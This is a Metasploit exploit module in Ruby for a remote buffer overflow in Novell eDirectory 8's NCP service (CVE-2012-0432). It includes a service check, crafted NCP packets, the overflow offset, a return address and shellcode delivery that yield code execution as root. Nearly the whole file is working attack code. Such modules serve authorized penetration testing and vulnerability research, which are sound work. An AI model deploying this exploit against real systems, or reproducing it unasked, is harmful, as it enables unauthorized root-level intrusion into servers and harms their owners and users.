##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell eDirectory 8 Buffer Overflow',
'Description' => %q{
This exploit abuses a buffer overflow vulnerability in Novell eDirectory. The
vulnerability exists in the ndsd daemon, specifically in the NCP service, while
parsing a specially crafted Keyed Object Login request. It allows remote code
execution with root privileges.
},
'Author' =>
[
'David Klein', # Vulnerability Discovery
'Gary Nilson', # Exploit
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0432'],
[ 'OSVDB', '88718'],
[ 'BID', '57038' ],
[ 'EDB', '24205' ],
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=3426981' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2013/Jan/97' ]
],
'DisclosureDate' => 'Dec 12 2012',
'Platform' => 'linux',
'Privileged' => true,
'Arch' => ARCH_X86,
'Payload' =>
{
},
'Targets' =>
[
[ 'Novell eDirectory 8.8.7 v20701.33/ SLES 10 SP3',
{
'Ret' => 0x080a4697, # jmp esi from ndsd
'Offset' => 58
}
]
],
'DefaultTarget' => 0
))
register_options([Opt::RPORT(524),], self.class)
end
def check
connect
sock.put(connection_request)
res = sock.get
disconnect
if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0
# res[8,2] => Reply Type
# res[15,1] => Connection Status
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Detected
end
def connection_request
pkt = "\x44\x6d\x64\x54" # NCP TCP id
pkt << "\x00\x00\x00\x17" # request_size
pkt << "\x00\x00\x00\x01" # version
pkt << "\x00\x00\x00\x00" # reply buffer size
pkt << "\x11\x11" # cmd => create service connection
pkt << "\x00" # sequence number
pkt << "\x00" # connection number
pkt << "\x00" # task number
pkt << "\x00" # reserved
pkt << "\x00" # request code
return pkt
end
def exploit
connect
print_status("Sending Service Connection Request...")
sock.put(connection_request)
res = sock.get
if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0
# res[8,2] => Reply Type
# res[15,1] => Connection Status
fail_with(Exploit::Failure::UnexpectedReply, "Service Connection failed")
end
print_good("Service Connection successful")
pkt = "\x44\x6d\x64\x54" # NCP TCP id
pkt << "\x00\x00\x00\x00" # request_size (filled later)
pkt << "\x00\x00\x00\x01" # version (1)
pkt << "\x00\x00\x00\x05" # reply buffer size
pkt << "\x22\x22" # cmd
pkt << "\x01" # sequence number
pkt << res[11] # connection number
pkt << "\x00" # task number
pkt << "\x00" # reserved
pkt << "\x17" # Login Object FunctionCode (23)
pkt << "\x00\xa7" # SubFuncStrucLen
pkt << "\x18" # SubFunctionCode
pkt << "\x90\x90" # object type
pkt << "\x50" # ClientNameLen
pkt << rand_text(7)
jmp_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{target['Offset'] + 4}").encode_string
pkt << jmp_payload # first byte is the memcpy length, must be bigger than 62 to to overwrite EIP
pkt << rand_text(target['Offset'] - jmp_payload.length)
pkt << [target.ret].pack("V")
pkt << payload.encoded
pkt[4,4] = [pkt.length].pack("N")
print_status("Sending Overflow on Keyed Object Login...")
sock.put(pkt)
sock.get
disconnect
end
end
Polish
English